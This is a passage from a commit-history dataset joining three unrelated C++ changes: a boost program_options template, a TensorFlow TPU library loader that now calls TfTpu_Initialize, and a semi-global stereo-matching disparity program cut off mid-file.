don't need it.\nbool ProgramOptions::validateParsedOptions()\n{\n \/\/ Example: Handle a missing configuration file.\n \/\/ Delete or modify as needed.\n if(m__cfgfile.empty()) {\n throw boost::program_options::invalid_option_value(\n \"No configuration file specified! \\\"--config\\\" is \"\n \"a required option.\");\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ General Function Definitions\n\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ Functions \"main()\" and \"cxx_main()\"\n\/\/\n\n\n\/\/ This is where all of your main handling should go.\nint cxx_main(const string& myName,\n const string& myPath,\n const ProgramOptions& opts)\n{\n \/\/ How to retrieve entries from 'opts':\n \/\/ opts[\"option\"].as<type>()\n \/\/\n \/\/ To check if the option is unset or wasn't passed:\n \/\/ opts[\"option\"].empty()\n \/\/\n \/\/ To check if an option with a default value wasn't passed:\n \/\/ opts[\"option\"].defaulted()\n}\n\n\nint main(int argc, char* argv[])\n{\n \/\/ Split off the name of the executable from its path.\n string myName(argv[0]);\n string::size_type last_pathsep = myName.find_last_of('\/');\n string myPath;\n if(last_pathsep != string::npos) {\n myPath = myName.substr(0, last_pathsep+1);\n myName.erase(0, last_pathsep+1);\n }\n\n \/\/ Call cxx_main(), which is where almost all of your code should go.\n try {\n ProgramOptions myOpts(myName);\n myOpts.parse(argc, argv);\n\n return cxx_main(myName, myPath, myOpts);\n } catch(FooException& ex) {\n cerr << \"Caught Foo: \" << ex.what() << endl;\n return 3;\n } catch(boost::program_options::duplicate_option_error& ex) {\n cerr << \"Fatal Internal Programming Error: \"\n << endl\n << ex.what()\n << endl << endl;\n return 9;\n } catch(boost::program_options::error& ex) {\n cerr << \"Error while parsing program options: \" << ex.what()\n << endl << endl\n << \"Rerun as \\\"\" << myName << \" --help\\\" for usage.\"\n << endl;\n return 1;\n } catch(exception& ex) {\n cerr << endl << \"(Std) Exception caught: \\\"\"\n << ex.what() << \"\\\"\" << endl;\n } catch(...) {\n cerr << \"Unknown exception caught.\" << endl;\n }\n return -1;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ End\n<commit_msg>- Renaming variable that hides a member.<commit_after>\/\/ -*- C++ -*-\n\/\/ Implementation of: ????\n\/\/\n\/\/ Copyright (C) 2010 by John Weiss\n\/\/ This program is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the Artistic License, included as the file\n\/\/ \"LICENSE\" in the source code archive.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\/\/\n\/\/ You should have received a copy of the file \"LICENSE\", containing\n\/\/ the License John Weiss originally placed this program under.\n\/\/\nstatic const char* const\nxFOOx_cc__=\"RCS $Id$\";\n\n\n\/\/ Includes\n\/\/\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n\n\/\/#include <boost\/something.hpp>\n\n\/\/TODO\/\/ Note: The guts of the ProgramOptions helper code now resides in its\n\/\/TODO\/\/ own class. You will need to do one of the following:\n\/\/TODO\/\/ 1. Use -ljpwTools and -I$JPWLIB_BASE\/include\n\/\/TODO\/\/ 2. Symlink to the following files in $JPWLIB_BASE\/src:\n\/\/TODO\/\/ - tracing\/Trace.{h,cc}\n\/\/TODO\/\/ - tracing\/LibTrace.h\n\/\/TODO\/\/ - boost_helpers\/ProgramOptions_Base.{h,cc}\n\/\/TODO\/\/ You'll need to add the two *.cc files to your Makefile.\n\/\/TODO\/\/ 3. Like #2, but copy the files instead of symlinking to them.\n#include \"ProgramOptions_Base.h\"\n#include \"xFOOx.h\"\n\n\n\/\/\n\/\/ Using Decls.\n\/\/\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::cerr;\nusing std::cout;\nusing std::endl;\nusing std::flush;\n\n\n\/\/\n\/\/ Static variables\n\/\/\n\n\n\/\/\n\/\/ Typedefs\n\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ Class: ProgramOptions\n\/\/\n\n\n\/\/ NOTE:\n\/\/\n\/\/ When using boost::program_options, you need to compile or link using:\n\/\/ '-lboost_program_options-mt'\n\/\/ (Check your Boost build to see if you have to remove the '-mt' suffix.)\nclass ProgramOptions : public jpwTools::boost_helpers::ProgramOptions_Base\n{\n typedef jpwTools::boost_helpers::ProgramOptions_Base Base_t;\npublic:\n \/\/ Member variables for individually storing program options.\n \/\/ ADD HERE:\n \/*\n example_type myExample;\n *\/\n\n \/\/ C'tor\n \/\/\n \/\/ There are a few different ways you can use the base-class.\n \/\/\n explicit ProgramOptions(const string& theProgramName)\n : Base_t(theProgramName)\n {\n m__docDetails_FakeOption[2] = 0;\n }\n\n \/\/ Implement this function (see below).\n void defineOptionsAndVariables();\n\n \/\/ Implement this function (below), or remove this fn.\n bool validateParsedOptions();\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ ProgramOptions Member Functions\n\/\/\n\n\n\/\/ Define your commandline options in this function.\n\/\/\n\/\/ The options \"--help\", \"--verbose\", \"--config\", and \"--help-config\" will\n\/\/ be defined for you. No need to put them in here.\nvoid ProgramOptions::defineOptionsAndVariables()\n{\n using namespace boost::program_options;\n\n \/\/\n \/\/ Commandline-only Options\n \/\/\n\n \/\/-----\n \/\/ About the Documentation String:\n \/\/\n \/\/ - Long lines are automatically wrapped.\n \/\/ - It can contain '\\n' chars.\n \/\/ - Any space following a '\\n' indents the first line accordingly, but\n \/\/ not any wrapped lines.\n \/\/ - The '\\t' character is always removed.\n \/\/ - A '\\t' character in the first \"line\" adds extra indentation to all\n \/\/ subsequently-wrapped lines. Its position marks the position of the\n \/\/ left margin for the wrapped lines.\n \/\/-----\n\n addOpts()\n (\"exampleOpt,e\", \"Documentation of the --exampleOpt.\")\n \/\/(\"ex2\", value<example_type>(&myExample)\n \/\/ \"Example with a specific storage variable.\")\n (\"ex3\", value<int>()->default_value(42),\n \"Example with a default value and fixed data type.\")\n \/\/(\"xil\", value< <std::vector<int> >()->compositing(),\n \/\/ \"Example of a \\\"list option\\\". Specifying \\\"--xil\\\" multiple \"\n \/\/ \"times just adds another element to the list.\")\n ;\n\n \/\/ Define the \"Hidden\" Commandline Parameters\n \/\/\n \/\/ These options will not appear in the \"usage\" message.\n\n \/*\n addOpts(Base_t::HIDDEN)\n (\"secretExampleOpt,s\", bool_switch(&secretExampleSwitch),\n \"Documentation of the --secretExampleOpt.\\t\"\n \"This example shows how to define a \\\"boolean switch\\\" option.\"\n )\n (\"ex2\",\n value<int>(&m_ex2)->default_value(-1)\n ->implicit_value(42)->zero_tokens(),\n \"Example of how to have an option that takes a value, but doesn't \"\n \"_require_ it.\\n\"\n \"In this example, the variable \\\"m_ex2\\\" has the value '-1' if the \"\n \"option isn't specified on the cmdline. Specifying \\\"--ex2\\\" \"\n \"sets \\\"m_ex2\\\" to '42'. Specifying \\\"--ex2=12345\\\" sets \"\n \"\\\"m_ex2\\\" to '12345', the value used.\")\n (\"ex3\", value<int>(&m_ztEx)->zero_tokens(),\n \"Like \\\"--ex2\\\", but without a default value or an implicit \"\n \"value. If you pass \\\"--ex3\\\" on the commandline, \\\"m_ztEx\\\" \"\n \"isn't set. Instead, you'll have to use \"\n \"'progOptInst[\\\"ex3\\\"].empty()' to determine if it's set (where \"\n \"'progOptInst' is a ProgramOptions object).\")\n ;\n *\/\n\n \/\/\n \/\/ The Positional Parameters:\n \/\/\n\n \/*\n addPosnParam(\"pp1\",\n \"The description of the first positional parameter.\");\n addPosnParam(\"pp2\",\n \"The description of the second positional parameter.\");\n addPosnParam(\"pp_list::all_remaining\",\n \/\/value< std::vector<std::string> >,\n \"The description of the remaining positional parameters.\",\n -1);\n *\/\n\n \/\/\n \/\/ The Configuration File Variables:\n \/\/\n\n \/*\n addCfgVars()\n (\"example\", \"An example\")\n (\"group1.example\",\n \"An example of a configfile variable in a group. You can specify \"\n \"the group using ini-file syntax, or you can use Java-style \"\n \"synax for the group+variable name.\")\n (\"oddname.group.foo\",\n \"Here, if you used ini-file style groups, you'd have to specify \"\n \"[oddname.group] as the group heading. Cfgfile vars never have \"\n \"a '.' in their names, unless you're using Java-style syntax.\")\n ;\n *\/\n\n \/\/\n \/\/ Configuration File Variables that can also be passed as Commandline\n \/\/ Options:\n \/\/\n\n \/*\n addCfgVars(Base_t::SHARED)\n (\"sharedEx\", \"A common opt.\")\n ;\n\n \/\/ Can also do this:\n \/\/addOpts(Base_t::SHARED)\n \/\/ (\"sharedEx\", \"A common opt.\")\n \/\/ ;\n *\/\n\n \/\/\n \/\/ Define the additional\/verbose\/enhanced configuration file\n \/\/ documentation:\n \/\/\n\n addConfigHelpDetails(\"\\n\"\n \"* \\tHeading\\n\"\n \"\\n \\t\" \/\/ Line end\/begin boilerplate\n \"Some stuff about one or more of the config \"\n \"file variables.\"\n \"\\n\");\n}\n\n\n\/\/ Performs more complex program option validation.\n\/\/\n\/\/ Remove this override if you don't need it.\nbool ProgramOptions::validateParsedOptions()\n{\n \/\/ Example: Handle a missing configuration file.\n \/\/ Delete or modify as needed.\n if(m__cfgfile.empty()) {\n throw boost::program_options::invalid_option_value(\n \"No configuration file specified! \\\"--config\\\" is \"\n \"a required option.\");\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ General Function Definitions\n\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ Functions \"main()\" and \"cxx_main()\"\n\/\/\n\n\n\/\/ This is where all of your main handling should go.\nint cxx_main(const string& myName,\n const string& myPath,\n const ProgramOptions& opts)\n{\n \/\/ How to retrieve entries from 'opts':\n \/\/ opts[\"option\"].as<type>()\n \/\/\n \/\/ To check if the option is unset or wasn't passed:\n \/\/ opts[\"option\"].empty()\n \/\/\n \/\/ To check if an option with a default value wasn't passed:\n \/\/ opts[\"option\"].defaulted()\n}\n\n\nint main(int argc, char* argv[])\n{\n \/\/ Split off the name of the executable from its path.\n string myName(argv[0]);\n string::size_type last_pathsep = myName.find_last_of('\/');\n string myPath;\n if(last_pathsep != string::npos) {\n myPath = myName.substr(0, last_pathsep+1);\n myName.erase(0, last_pathsep+1);\n }\n\n \/\/ Call cxx_main(), which is where almost all of your code should go.\n try {\n ProgramOptions myOpts(myName);\n myOpts.parse(argc, argv);\n\n return cxx_main(myName, myPath, myOpts);\n } catch(FooException& ex) {\n cerr << \"Caught Foo: \" << ex.what() << endl;\n return 3;\n } catch(boost::program_options::duplicate_option_error& ex) {\n cerr << \"Fatal Internal Programming Error: \"\n << endl\n << ex.what()\n << endl << endl;\n return 9;\n } catch(boost::program_options::error& ex) {\n cerr << \"Error while parsing program options: \" << ex.what()\n << endl << endl\n << \"Rerun as \\\"\" << myName << \" --help\\\" for usage.\"\n << endl;\n return 1;\n } catch(exception& ex) {\n cerr << endl << \"(Std) Exception caught: \\\"\"\n << ex.what() << \"\\\"\" << endl;\n } catch(...) {\n cerr << \"Unknown exception caught.\" << endl;\n }\n return -1;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ End\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/tpu\/tpu_api_dlsym_initializer.h\"\n\n#include <dlfcn.h>\n\n#include \"tensorflow\/core\/platform\/errors.h\"\n#include \"tensorflow\/core\/platform\/status.h\"\n#if !defined(PLATFORM_GOOGLE)\n#include \"tensorflow\/core\/tpu\/tpu_api.h\"\n#include \"tensorflow\/core\/tpu\/tpu_system_device.h\"\n#include \"tensorflow\/stream_executor\/tpu\/tpu_platform.h\"\n#endif\n\n#define TFTPU_SET_FN(Struct, FnName) \\\n Struct->FnName##Fn = \\\n reinterpret_cast<decltype(FnName)*>(dlsym(library_handle, #FnName)); \\\n if (!(Struct->FnName##Fn)) { \\\n LOG(ERROR) << #FnName \" not available in this library.\"; \\\n return errors::Unimplemented(#FnName \" not available in this library.\"); \\\n }\n\n\/\/ Reminder: Update tpu_library_loader_windows.cc if you are adding new publicly\n\/\/ visible methods.\n\nnamespace tensorflow {\nnamespace tpu {\n\n#if defined(PLATFORM_GOOGLE)\nStatus InitializeTpuLibrary(void* library_handle) {\n return errors::Unimplemented(\"You must statically link in a TPU library.\");\n}\n#else \/\/ PLATFORM_GOOGLE\n#include \"tensorflow\/core\/tpu\/tpu_library_init_fns.inc\"\n\nStatus InitializeTpuLibrary(void* library_handle) {\n Status s = InitializeTpuStructFns(library_handle);\n\n \/\/ TPU platform registration must only be performed after the library is\n \/\/ loaded. We do not want to register a TPU platform in XLA without the\n \/\/ supporting library providing the necessary APIs.\n if (s.ok()) {\n \/\/ TODO(frankchn): Make initialization actually work\n \/\/ Initialize TPU platform when the platform code is loaded from a library.\n \/\/ InitializeApiFn()->TfTpu_InitializeFn();\n\n RegisterTpuPlatform();\n RegisterTpuSystemDevice();\n }\n\n return s;\n}\n\nbool FindAndLoadTpuLibrary() {\n void* library = dlopen(\"libtftpu.so\", RTLD_NOW);\n if (library) {\n InitializeTpuLibrary(library);\n }\n return true;\n}\n\nstatic bool tpu_library_finder = FindAndLoadTpuLibrary();\n#endif \/\/ PLATFORM_GOOGLE\n\n} \/\/ namespace tpu\n} \/\/ namespace tensorflow\n<commit_msg>Call TfTpu_Initialize() to initialize relevant bits of the TPU framework when loading the TPU library<commit_after>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/tpu\/tpu_api_dlsym_initializer.h\"\n\n#include <dlfcn.h>\n\n#include \"tensorflow\/core\/platform\/errors.h\"\n#include \"tensorflow\/core\/platform\/status.h\"\n#if !defined(PLATFORM_GOOGLE)\n#include \"tensorflow\/core\/tpu\/tpu_api.h\"\n#include \"tensorflow\/core\/tpu\/tpu_system_device.h\"\n#include \"tensorflow\/stream_executor\/tpu\/tpu_platform.h\"\n#endif\n\n#define TFTPU_SET_FN(Struct, FnName) \\\n Struct->FnName##Fn = \\\n reinterpret_cast<decltype(FnName)*>(dlsym(library_handle, #FnName)); \\\n if (!(Struct->FnName##Fn)) { \\\n LOG(ERROR) << #FnName \" not available in this library.\"; \\\n return errors::Unimplemented(#FnName \" not available in this library.\"); \\\n }\n\n\/\/ Reminder: Update tpu_library_loader_windows.cc if you are adding new publicly\n\/\/ visible methods.\n\nnamespace tensorflow {\nnamespace tpu {\n\n#if defined(PLATFORM_GOOGLE)\nStatus InitializeTpuLibrary(void* library_handle) {\n return errors::Unimplemented(\"You must statically link in a TPU library.\");\n}\n#else \/\/ PLATFORM_GOOGLE\n#include \"tensorflow\/core\/tpu\/tpu_library_init_fns.inc\"\n\nStatus InitializeTpuLibrary(void* library_handle) {\n Status s = InitializeTpuStructFns(library_handle);\n\n \/\/ TPU platform registration must only be performed after the library is\n \/\/ loaded. We do not want to register a TPU platform in XLA without the\n \/\/ supporting library providing the necessary APIs.\n if (s.ok()) {\n void (*initialize_fn)();\n initialize_fn = reinterpret_cast<decltype(initialize_fn)>(\n dlsym(library_handle, \"TfTpu_Initialize\"));\n (*initialize_fn)();\n\n RegisterTpuPlatform();\n RegisterTpuSystemDevice();\n }\n\n return s;\n}\n\nbool FindAndLoadTpuLibrary() {\n void* library = dlopen(\"libtftpu.so\", RTLD_NOW);\n if (library) {\n InitializeTpuLibrary(library);\n }\n return true;\n}\n\nstatic bool tpu_library_finder = FindAndLoadTpuLibrary();\n#endif \/\/ PLATFORM_GOOGLE\n\n} \/\/ namespace tpu\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <algorithm>\n#include <vector>\n#include <cmath>\n#include <ctime>\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\n#include \"gaussian.h\"\n\n#define BLUR_RADIUS 3\n#define PATH_COUNT 16\n#define MAX_SHORT 65535\n#define SMALL_PENALTY 3\n#define LARGE_PENALTY 20\n#define DEBUG false\n\nstruct path {\n short rowDiff;\n short colDiff;\n short index;\n};\n\nvoid printArray(unsigned short ***array, int rows, int cols, int depth) {\n for (int d = 0; d < depth; ++d) {\n std::cout << \"disparity: \" << d << std::endl;\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n std::cout << \"\\t\" << array[row][col][d];\n }\n std::cout << std::endl;\n }\n }\n}\n\nunsigned short calculatePixelCostOneWayBT(int row, int leftCol, int rightCol, const cv::Mat &leftImage, const cv::Mat &rightImage) {\n\n char leftValue, rightValue, beforeRightValue, afterRightValue, rightValueMinus, rightValuePlus, rightValueMin, rightValueMax;\n\n leftValue = leftImage.at<uchar>(row, leftCol);\n rightValue = rightImage.at<uchar>(row, rightCol);\n\n if (rightCol > 0) {\n beforeRightValue = rightImage.at<uchar>(row, rightCol - 1);\n } else {\n beforeRightValue = rightValue;\n }\n\n if (rightCol + 1 < rightImage.cols) {\n afterRightValue = rightImage.at<uchar>(row, rightCol + 1);\n } else {\n afterRightValue = rightValue;\n }\n\n rightValueMinus = round((rightValue + beforeRightValue) \/ 2.f);\n rightValuePlus = round((rightValue + afterRightValue) \/ 2.f);\n\n rightValueMin = std::min(rightValue, std::min(rightValueMinus, rightValuePlus));\n rightValueMax = std::max(rightValue, std::max(rightValueMinus, rightValuePlus));\n\n return std::max(0, std::max((leftValue - rightValueMax), (rightValueMin - leftValue)));\n}\n\ninline unsigned short calculatePixelCostBT(int row, int leftCol, int rightCol, const cv::Mat &leftImage, const cv::Mat &rightImage) {\n return std::min(calculatePixelCostOneWayBT(row, leftCol, rightCol, leftImage, rightImage),\n calculatePixelCostOneWayBT(row, rightCol, leftCol, rightImage, leftImage));\n}\n\nvoid calculatePixelCost(cv::Mat &firstImage, cv::Mat &secondImage, int disparityRange, unsigned short ***C) {\n for (int row = 0; row < firstImage.rows; ++row) {\n for (int col = 0; col < firstImage.cols; ++col) {\n for (int d = 0; d < disparityRange; ++d) {\n C[row][col][d] = calculatePixelCostBT(row, col, col - d, firstImage, secondImage);\n }\n }\n }\n}\n\nvoid initializePaths(std::vector<path> &paths, unsigned short pathCount) {\n for (unsigned short i = 0; i < pathCount; ++i) {\n paths.push_back(path());\n }\n\n if(paths.size() >= 2) {\n paths[0].rowDiff = 0;\n paths[0].colDiff = 1;\n paths[0].index = 0;\n\n paths[1].rowDiff = 0;\n paths[1].colDiff = -1;\n paths[1].index = 1;\n }\n\n if(paths.size() >= 4) {\n paths[2].rowDiff = -1;\n paths[2].colDiff = 0;\n paths[2].index = 2;\n\n paths[3].rowDiff = 1;\n paths[3].colDiff = 0;\n paths[3].index = 3;\n }\n\n if(paths.size() >= 8) {\n paths[4].rowDiff = -1;\n paths[4].colDiff = 1;\n paths[4].index = 4;\n\n paths[5].rowDiff = 1;\n paths[5].colDiff = 1;\n paths[5].index = 5;\n\n paths[6].rowDiff = 1;\n paths[6].colDiff = -1;\n paths[6].index = 6;\n\n paths[7].rowDiff = -1;\n paths[7].colDiff = -1;\n paths[7].index = 7;\n }\n\n if(paths.size() >= 16) {\n paths[8].rowDiff = -2;\n paths[8].colDiff = 1;\n paths[8].index = 8;\n\n paths[9].rowDiff = -2;\n paths[9].colDiff = -1;\n paths[9].index = 9;\n\n paths[10].rowDiff = 2;\n paths[10].colDiff = 1;\n paths[10].index = 10;\n\n paths[11].rowDiff = 2;\n paths[11].colDiff = -1;\n paths[11].index = 11;\n\n paths[12].rowDiff = 1;\n paths[12].colDiff = -2;\n paths[12].index = 12;\n\n paths[13].rowDiff = -1;\n paths[13].colDiff = -2;\n paths[13].index = 13;\n\n paths[14].rowDiff = 1;\n paths[14].colDiff = 2;\n paths[14].index = 14;\n\n paths[15].rowDiff = -1;\n paths[15].colDiff = 2;\n paths[15].index = 15;\n }\n}\n\nunsigned short aggregateCost(int row, int col, int d, path &p, int rows, int cols, int disparityRange, unsigned short ***C, unsigned short ****A, unsigned short ***S, unsigned int iter) {\n unsigned short aggregatedCost = 0;\n aggregatedCost += C[row][col][d];\n\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)\\n\", p.index, row, col, d);\n }\n\n if (A[p.index][row][col][d] != MAX_SHORT) {\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d<CACHED>\\n\", p.index, row, col, d, A[p.index][row][col][d]);\n }\n return A[p.index][row][col][d];\n }\n\n if (row + p.rowDiff < 0 || row + p.rowDiff >= rows || col + p.colDiff < 0 || col + p.colDiff >= cols) {\n \/\/ border\n A[p.index][row][col][d] = aggregatedCost;\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d <BORDER>\\n\", p.index, row, col, d, A[p.index][row][col][d]);\n }\n return A[p.index][row][col][d];\n\n return aggregatedCost;\n }\n\n unsigned short minPrev, minPrevOther, prev, prevPlus, prevMinus;\n prev = minPrev = minPrevOther = prevPlus = prevMinus = MAX_SHORT;\n\n for (int disp = 0; disp < disparityRange; ++disp) {\n unsigned short tmp = aggregateCost(row + p.rowDiff, col + p.colDiff, disp, p, rows, cols, disparityRange, C, A, S, ++iter);\n if(minPrev > tmp) {\n minPrev = tmp;\n }\n\n if(disp == d) {\n prev = tmp;\n } else if(disp == d + 1) {\n prevPlus = tmp;\n } else if (disp == d - 1) {\n prevMinus = tmp;\n } else {\n if(minPrevOther > tmp + LARGE_PENALTY) {\n minPrevOther = tmp + LARGE_PENALTY;\n }\n }\n }\n\n aggregatedCost += std::min(std::min((int)prevPlus + SMALL_PENALTY, (int)prevMinus + SMALL_PENALTY), std::min((int)prev, (int)minPrevOther + LARGE_PENALTY));\n aggregatedCost -= minPrev;\n\n A[p.index][row][col][d] = aggregatedCost;\n\n if(DEBUG) {\n for (unsigned int i = 0; i < iter; ++i) {\n printf(\" \");\n }\n printf(\"{P%d}[%d][%d](d%d)-> %d<CALCULATED>\\n\", p.index, row, col, d, A[p.index][row][col][d]);\n }\n\n return aggregatedCost;\n}\n\nvoid aggregateCosts(int rows, int cols, int disparityRange, std::vector<path> &paths, unsigned short ***C, unsigned short ****A, unsigned short ***S) {\n for (unsigned long p = 0; p < paths.size(); ++p) {\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n for (int d = 0; d < disparityRange; ++d) {\n S[row][col][d] += aggregateCost(row, col, d, paths[p], rows, cols, disparityRange, C, A, S, 0);\n }\n }\n }\n }\n}\n\nvoid computeDisparity(unsigned short ***S, int rows, int cols, int disparityRange, cv::Mat &disparityMap) {\n unsigned int disparity = 0, minCost;\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n minCost = 65535;\n for (int d = disparityRange - 1; d >= 0; --d) {\n if(minCost > S[row][col][d]) {\n minCost = S[row][col][d];\n disparity = d;\n }\n }\n disparityMap.at<uchar>(row, col) = disparity;\n }\n }\n}\n\nvoid saveDisparityMap(cv::Mat &disparityMap, int disparityRange, char* outputFile) {\n double factor = 256.0 \/ disparityRange;\n for (int row = 0; row < disparityMap.rows; ++row) {\n for (int col = 0; col < disparityMap.cols; ++col) {\n disparityMap.at<uchar>(row, col) *= factor;\n }\n }\n cv::imwrite(outputFile, disparityMap);\n}\n\nint main(int argc, char** argv) {\n\n if (argc != 5) {\n std::cerr << \"Usage: \" << argv[0] << \" <left image> <right image> <output image file> <disparity range>\" << std::endl;\n return -1;\n }\n\n char *firstFileName = argv[1];\n char *secondFileName = argv[2];\n char *outFileName = argv[3];\n\n cv::Mat firstImage;\n cv::Mat secondImage;\n firstImage = cv::imread(firstFileName, CV_LOAD_IMAGE_GRAYSCALE);\n secondImage = cv::imread(secondFileName, CV_LOAD_IMAGE_GRAYSCALE);\n\n if(!firstImage.data || !secondImage.data) {\n std::cerr << \"Could not open or find one of the images!\" << std::endl;\n return -1;\n }\n\n unsigned int disparityRange = atoi(argv[4]);\n unsigned short ***C; \/\/ pixel cost array W x H x D\n unsigned short ***S; \/\/ aggregated cost array W x H x D\n unsigned short ****A; \/\/ path cost array P x W x H x D\n std::vector<path> paths;\n\n initializePaths(paths, PATH_COUNT);\n\n \/*\n * TODO\n * variable LARGE_PENALTY\n *\/\n\n clock_t begin = clock();\n\n std::cout << \"Allocating space...\" << std::endl;\n\n \/\/ allocate cost arrays\n C = new unsigned short**[firstImage.rows];\n S = new unsigned short**[firstImage.rows];\n for (int row = 0; row < firstImage.rows; ++row) {\n C[row] = new unsigned short*[firstImage.cols];\n S[row] = new unsigned short*[firstImage.cols]();\n for (int col = 0; col < firstImage.cols; ++col) {\n C[row][col] = new unsigned short[disparityRange];\n S[row][col] = new unsigned short[disparityRange](); \/\/ initialize to 0\n }\n }\n\n A = new unsigned short ***[paths.size()];\n for (unsigned long p = 0; p < paths.size(); ++p) {\n A[p] = new unsigned short **[firstImage.rows];\n for (int row = 0; row < firstImage.rows; ++row) {\n A[p][row] = new unsigned short*[firstImage.cols];\n for (int col = 0; col < firstImage.cols; ++col) {\n A[p][row][col] = new unsigned short[disparityRange];\n for (unsigned int d = 0; d < disparityRange; ++d) {\n A[p][row][col][d] = MAX_SHORT;\n }\n }\n }\n }\n\n std::cout << \"Smoothing images...\" << std::endl;\n grayscaleGaussianBlur(firstImage, firstImage, BLUR_RADIUS);\n grayscaleGaussianBlur(secondImage, secondImage, BLUR_RADIUS);\n\n std::cout << \"Calculating pixel cost for the image...\" << std::endl;\n calculatePixelCost(firstImage, secondImage, disparityRange, C);\n if(DEBUG) {\n printArray(C, firstImage.rows, firstImage.cols, disparityRange);\n }\n std::cout << \"Aggregating costs...\" << std::endl;\n aggregateCosts(firstImage.rows, firstImage.cols, disparityRange, paths, C, A, S);\n\n cv::Mat disparityMap = cv::Mat(cv::Size(firstImage.cols, firstImage.rows), CV_8UC1, cv::Scalar::all(0));\n\n std::cout << \"Computing disparity...\" << std::endl;\n computeDisparity(S, firstImage.rows, firstImage.cols, disparityRange, disparityMap);\n\n clock_t end = clock();\n double elapsed_secs = double(end - begin) \/ CLOCKS_PER_SEC;\n\n printf(\"Done in %.2lf seconds.\\n\", elapsed_secs);\n\n saveDisparityMap(disparityMap, disparityRange, outFileName);\n\n return 0;\n}<commit_msg>Significantly decreased memory usage by reusing path cost cache<commit_after>#include <iostream>\n#include <algorithm>\n#include <vector>\n#include <cmath>\n#include <ctime>\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\n#include \"gaussian.h\"\n\n#define BLUR_RADIUS 3\n#define PATH_COUNT 16\n#define MAX_SHORT std::numeric_limits<unsigned short>::max()\n#define SMALL_PENALTY 3\n#define LARGE_PENALTY 20\n#define DEBUG false\n\nstruct path {\n short rowDiff;\n short colDiff;\n short index;\n};\n\nvoid printArray(unsigned short ***array, int rows, int cols, int depth) {\n for (int d = 0; d < depth; ++d) {\n std::cout << \"disparity: \" << d << std::endl;\n for (int row = 0; row < rows; ++row) {\n for (int col = 0; col < cols; ++col) {\n std::cout << \"\\t\" << array[row][col][d];\n }\n std::cout << std::endl;\n }\n }\n}\n\nunsigned short calculatePixelCostOneWayBT(int row, int leftCol, int rightCol, const cv::Mat &leftImage, const cv::Mat &rightImage) {\n\n char leftValue, rightValue, beforeRightValue, afterRightValue, rightValueMinus, rightValuePlus, rightValueMin, rightValueMax;\n\n leftValue = leftImage.at<uchar>(row, leftCol);\n rightValue = rightImage.at<uchar>(row, rightCol);\n\n if (rightCol > 0) {\n beforeRightValue = rightImage.at<uchar>(row, rightCol - 1);\n } else {\n beforeRightValue = rightValue;\n }\n\n if (rightCol + 1 < rightImage.cols) {\n afterRightValue = rightImage.at<uchar>(row, rightCol + 1);\n } else {\n afterRightValue = rightValue;\n }\n\n rightValueMinus = round((rightValue + beforeRightValue) \/ 2.f);\n rightValuePlus = round((rightValue + afterRightValue) \/ 2.f);\n\n rightValueMin = std::min(rightValue, std::min(rightValueMinus, rightValuePlus));\n rightValueMax = std::max(rightValue, std::max(rightValueMinus, rightValuePlus));\n\n return std::max(0, std::max((leftValue - rightValueMax), (rightValueMin - leftValue)));\n}\n\ninline unsigned short calculatePixelCostBT(int row, int leftCol, int rightCol, const cv::Mat 